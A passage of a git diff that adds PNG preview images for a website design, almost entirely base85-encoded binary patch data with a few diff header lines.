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 PK@RYA^>bP0l+XkKH)7$7 literal 0 HcmV?d00001 diff --git a/website-design/previews/anim2-v6-t13.png b/website-design/previews/anim2-v6-t13.png new file mode 100644 index 0000000000000000000000000000000000000000..84fcc99e4482ebff57a5a63e05f83e45206c1573 GIT binary patch literal 63253 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 